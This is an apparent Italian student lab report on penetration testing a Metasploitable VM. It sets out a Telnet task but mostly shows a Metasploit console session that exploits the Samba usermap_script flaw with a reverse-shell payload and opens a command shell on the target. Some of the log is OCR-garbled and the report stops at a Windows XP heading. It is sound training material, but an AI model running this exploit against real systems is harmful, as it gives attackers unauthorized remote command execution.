## **S7 LEZIONE 2**

**Traccia:** Utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet\_version sulla macchina Metasploitable.

La macchina Metasploitable presenta un servizio Telnet in ascolto sulla porta 23 che trasferisce il traffico su un canale non cifrato quindi un attaccante potrebbe inserirsi nella comunicazione per rubare info importanti.

Telnet è un protocollo di rete utilizzato per stabilire una connessione remota con un dispositivo tramite una rete di computer, il protocollo opera su TCP/IP e fornisce una comunicazione bidirezionale, consentendo agli utenti di eseguire comandi su un pc remoto come se fossero fisicamente presenti sulla console.

Telnet trasmette dati in formato di testo non crittografato, rendendo vulnerabili le informazioni trasmesse.

## usermap\_script

```
=[ metasploit v6.3.50-dev
----=[ 2384 exploits - 1235 auxiliary - 417 post
-----=[ 391 payloads - 46 encoders - 11 nops
----=[ 9 evasion
  msf6 > search usermap_script
    # Name Disclosure Date Rank Check Description exploit/multi/samba/wsermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
  <u>msf6</u> > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
<u>msf6</u> exploit(<u>multi/samba/usermap_script</u>) > show options
    CHOST
CPORT
Proxies
RHOSTS
RPORT
                                                    The local client address
The local client port
A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
The target port (TCP)
  Payload options (cmd/unix/reverse_netcat):
     LHOST 192.168.50.101 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
  Exploit target:
     0 Automatic
 msf6 exploit(<u>wulti/ranha/hasmap_acript</u>) > set payload cmd/unix/reverse
payload ⇒ cmd/unix/reverse
msf6 exploit(<u>wulti/ranha/hasmap_acript</u>) > set rhosts 192.168.50.111
rhosts ⇒ 192.168.56.112
<u>msf6</u> exploit(∎
                                                                             ot) > exploit
  *] Started reverse TCP double handler on 192.168.50.101:4444
*] Accepted the first client connection...
  *] Accepted the second client connection...
 * Command: echo czAhTSa18uaiyXdF;* Writing to socket A
 *] Writing to socket B
*] Reading from sockets ...
 *] Reading from socket A
*] A: "czAhTSa18uaiyXdF\r\n"
  *] Matching...
  👣 Command shell session 1 opened (192.168.50.101:4444 → 192.168.50.111:40392) at 2024-01-16 12:31:37 +0100
whoami
ifconfig
eth0
                    Link encap:Ethernet HWaddr 08:00:27:35:23:65
                    Link encap::thernet Hwaddr 08:00:2/:33:23:05
inet addr: fe80::a00:27ff:fe35:2365/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:46 errors:0 dropped:0 overruns:0 frame:0
TX packets:174 errors:0 dropped:0 overruns:0 carrier:0
                    collisions:0 txqueuelen:1000
RX bytes:4272 (4.1 KB) TX bytes:14433 (14.0 KB)
Base address:0×d020 Memory:f0200000-f0220000
                    Link encap:Local Loopback
                    inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
                    RX packets:260 errors:0 dropped:0 overruns:0 frame:0
                    TX packets:260 errors:0 dropped:0 overruns:0 carrier:0
                    collisions:0 txqueuelen:0
```

RX bytes:64895 (63.3 KB) TX bytes:64895 (63.3 KB)

Metasploitable sulla porta 445 TCP è attivo un servizio SMB che è vulnerabile ad un attacco di tipo **command execution.** 

Sfruttando questa vulnerabilità è possibile eseguire del codice sulla macchina remota.

## ATTACCO A WINDOWS XP

